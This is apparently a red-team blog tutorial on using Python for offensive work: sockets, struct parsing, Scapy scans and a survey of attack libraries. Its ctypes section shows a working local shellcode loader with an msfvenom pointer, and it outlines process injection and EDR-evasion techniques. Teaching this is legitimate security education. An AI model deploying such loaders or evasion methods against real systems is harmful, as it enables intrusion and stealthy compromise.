Skip to main content
  1. Posts/

Python for offensive operators: past hello world

··1807 words·9 mins·
Table of Contents
Python - This article is part of a series.
Part 1: This Article
This post assumes you know what a variable is. It moves directly into how Python gets used to break systems.

Python is the working language of offensive security on the attacker side. PoC exploits get written in it first, the agent ecosystem in Mythic is built around it, and the entire Active Directory attack surface that any operator touches runs through Impacket. Other languages cover other slots. Go and Nim and C are common for implants and beacons, PowerShell is the natural choice for living off the land, Rust is showing up in newer evasion work. Python is the one you can’t avoid for the scripts and tools you run on your own box.

Personally I don’t reach for Python when I’m writing target-side code. Implants want a language that compiles down to something small, statically linked, and not announcing itself the way python.exe does on a workstation that doesn’t normally run Python. A typical setup for me is the beacon written in Go and the catcher written in Python: the implant is small and quiet on target, the listener and the loot parser are short Python scripts on my own box where readability and library availability matter more than footprint. The same split applies to a lot of attacker tooling: Python for everything that runs on the attacker host (parsers, scanners, glue around Impacket, one-off PoCs) and a compiled language for the parts that have to survive on target.

Environment, briefly
#

Python dependency hell is real and it will eat your engagement day if you let it. Breaking changes at minor versions in libraries you don’t directly import, wheels that build on your laptop but fail on a Kali VM with the same Python version because the C extension was compiled against a slightly different libc, system wheels that get clobbered the moment some tool’s installer decides it knows better than the distro maintainer. All of it sitting there waiting for the moment you need a working tool. Do not install offensive tooling into the system Python.

Personally I’m a uv man. It’s fast, it handles the Python version too, and uv tool install has been eating pipx’s lunch for installed CLIs like NetExec and mitm6 since 2025. venv is still fine if you’re already in the habit. I hear good things about conda from people who came up through the data-science side and trust it, though I’ve never made the switch myself. Either way the point is one isolated environment per tool, so that one tool’s pinned Impacket version doesn’t silently break another tool’s.

python3 -m venv .venv
source .venv/bin/activate
pip install requests pwntools scapy

Low-level networking with sockets
#

requests is the right answer when the target speaks HTTP. For everything else (custom C2 protocols, legacy SCADA, anything you’re reverse-engineering on the wire), you’re back to raw sockets.

import socket

def netcat_clone(target_ip, port):
    # AF_INET = IPv4, SOCK_STREAM = TCP
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        try:
            s.connect((target_ip, port))
            print(f"[+] Connected to {target_ip}:{port}")

            payload = b"HEAD / HTTP/1.0\r\n\r\n"
            s.send(payload)

            data = s.recv(4096)
            print(f"[<] Received:\n{data.decode('utf-8', errors='ignore')}")

        except ConnectionRefusedError:
            print("[-] Connection refused.")

if __name__ == "__main__":
    netcat_clone("127.0.0.1", 80)

A few things are worth keeping in mind. send() always wants bytes, not a string; a Python 3 string passed in raw will raise TypeError and you’ll waste a minute wondering why. recv() returns whatever’s currently in the buffer up to the size you asked for, which means it’s not guaranteed to return a complete protocol message; in real client code you usually need to read in a loop until the length the protocol promised you have arrived. And put a timeout on the socket. A blocking socket against an unresponsive target just hangs your tool indefinitely, which is the worst possible outcome on an engagement clock.

Binary data with struct
#

Beacons and exploits don’t speak JSON. They speak bytes, in a layout someone decided on, often a long time ago, sometimes without writing it down. struct is the standard library’s tool for packing and unpacking those layouts.

Say you’re parsing a header of [ID (4 bytes)][Flags (2 bytes)][Length (2 bytes)]:

import struct

packet_data = b'\xDE\xAD\xBE\xEF\x00\x01\x00\x10' + b'A' * 16

# ! = network byte order (big endian)
# I = unsigned int (4 bytes)
# H = unsigned short (2 bytes)
packet_id, flags, length = struct.unpack('!IHH', packet_data[:8])

print(f"ID: {hex(packet_id)}")   # 0xdeadbeef
print(f"Flags: {flags}")         # 1
print(f"Length: {length}")       # 16

Most of the bugs in binary parsers come down to either an endianness mistake (you assumed big-endian and the protocol is little-endian, or vice versa) or a field-width mistake (you read 2 bytes where the spec said 4, and now every field after it is off). If you write a test fixture before the parser using bytes you actually captured off the wire, those mistakes surface in the first run. If you write the parser first and try to figure out why the output looks wrong, you’re debugging on intuition, which takes a lot longer.

ctypes and the Windows API
#

Python’s ctypes module lets you call into Windows DLLs directly. I rarely use Python as an implant language (it’s loud, the runtime is huge, and a Python process allocating RWX memory and executing it is exactly the kind of behavioral signature a modern EDR flags on sight), but ctypes is genuinely useful on targets that already have a Python interpreter installed: some Windows admin boxes, some embedded appliances, the OS X side, and any Linux host where Python is the default scripting interpreter. It also matters for understanding the API shape that compiled implants use, because the call sequences are the same.

The trivial case is calling MessageBoxW:

import ctypes

ctypes.windll.user32.MessageBoxW(0, "Hello from the WinAPI", "Caller", 0)

The same calling pattern works for the rest of the Win32 surface. The canonical local-process shellcode runner (the one in every intro red team text) is a few lines against VirtualAlloc, RtlMoveMemory, and CreateThread in the calling process itself:

import ctypes

# Replace with your own MSFvenom-generated shellcode for testing in a VM
# msfvenom -p windows/x64/exec CMD=calc.exe -f python
shellcode = bytearray(b"\x90\x90\x90...")  # placeholder, NOPs

kernel32 = ctypes.windll.kernel32

# Allocate RWX memory in the current process
ptr = kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),   # MEM_COMMIT | MEM_RESERVE
    ctypes.c_int(0x40),     # PAGE_EXECUTE_READWRITE
)

# Copy the shellcode into that allocation
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))

# Run it in a new thread within the current process
thread = kernel32.CreateThread(
    ctypes.c_int(0), ctypes.c_int(0),
    ctypes.c_int(ptr),
    ctypes.c_int(0), ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0)),
)
kernel32.WaitForSingleObject(ctypes.c_int(thread), ctypes.c_int(-1))

Cross-process injection follows the same calling pattern but with OpenProcess to get a handle, VirtualAllocEx to allocate in the remote process, WriteProcessMemory to copy the payload across, and CreateRemoteThread to execute it there. The differences from local-process are the handle, the Ex variant of the allocator, and that you need rights on the target process.

A few things about the local-process example above. The allocation flags request PAGE_EXECUTE_READWRITE, which is the loud, obvious version. Any EDR worth what its vendor charges will pick up that allocation via the ETW Threat Intelligence provider as soon as NtAllocateVirtualMemory returns. The static fingerprint is also exactly the trio capa was trained to spot. And the Python interpreter is now a process that allocated RWX memory and executed unknown bytes in it, which is the kind of behavior that gets flagged on its own regardless of what tripped it. Treat this as a sketch of the API shape. Real tradecraft does the same thing through indirect syscalls (SysWhispers, Hell’s Gate variants), allocates RW and flips to RX after writing, resolves imports at runtime through hashing instead of letting ctypes import them at startup, and avoids CreateRemoteThread in favor of subtler execution primitives like NtQueueApcThread or thread hijacking.

Packet crafting with Scapy
#

Nmap covers the common case loudly. When you need to send a specific packet (testing a firewall path, triggering a parser bug in some appliance, or building a custom probe for an unfamiliar protocol), Scapy is the standard tool. It lets you assemble packets layer by layer with the right semantics, then send them and watch what comes back.

from scapy.all import IP, TCP, sr1

# Christmas tree scan: FIN + PSH + URG set, no SYN/ACK
ip_layer = IP(dst="192.168.1.50")
tcp_layer = TCP(dport=80, flags="FPU")

packet = ip_layer / tcp_layer
response = sr1(packet, timeout=1)

if response:
    response.show()

Scapy needs root (or CAP_NET_RAW on Linux) for raw sockets. On Windows it needs Npcap installed. The library has its own DSL for filters that is mostly tcpdump-compatible but not entirely; expect to fight it once before getting fluent.

The libraries you’ll actually use
#

A non-exhaustive map of what’s currently in active use for offensive Python work.

  • Impacket . The implementation of Windows network protocols (SMB, Kerberos, DCERPC, MS-RPC). Maintained by Fortra (which acquired Core Security/SecureAuth). Half the named Active Directory attack techniques in the last decade are Impacket scripts.
  • NetExec (nxc). The successor to CrackMapExec, which was archived in 2023 and picked up by new maintainers under the NetExec name. The same general role: a fast way to sweep an Active Directory environment for credentials, shares, and misconfigurations across SMB/WinRM/LDAP/MSSQL/SSH, built on top of Impacket.
  • mitm6 . Dirk-jan Mollema’s tool for IPv6-based man-in-the-middle attacks against Windows networks that have IPv6 enabled but unconfigured (which is most of them). Still maintained; got Kerberos relay integration in 2025.
  • pwntools . Written for CTF binary exploitation but useful well outside that context. Wraps the boring parts of building exploits (packet I/O, ROP chain assembly, format string fuzzing) into something usable interactively.
  • Paramiko . SSH library. Active maintenance, still the go-to for scripting SSH interaction in Python; the 4.0 release shipped in 2026.

For C2 frameworks specifically, the modern open-source landscape is mostly Mythic (SpecterOps), Sliver (Bishop Fox, Go), and Havoc (C5pider). Older options like Empire, Covenant, and PoshC2 still work but most active development has moved to those three. Mythic in particular is worth knowing because the control plane is Python and the agent ecosystem is open enough that you can write your own.

Why bother
#

The pre-built tools are good enough for most of what comes up. They stop being good enough as soon as the target environment has something the tool’s author didn’t plan for: a custom auth flow, an unusual SMB dialect, a parser that chokes on an edge case the tool’s serializer doesn’t handle. In that situation you can wait for upstream to ship a fix, you can email the maintainer and hope, or you can fix it yourself in a fork. The third option is far and away the fastest if you can read the code, and most offensive Python is approachable enough to read. The libraries above are the libraries the public tools are built on, so working at this layer puts you roughly in the same position as the people who originally wrote the tooling you’ve been borrowing.

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.
Python - This article is part of a series.
Part 1: This Article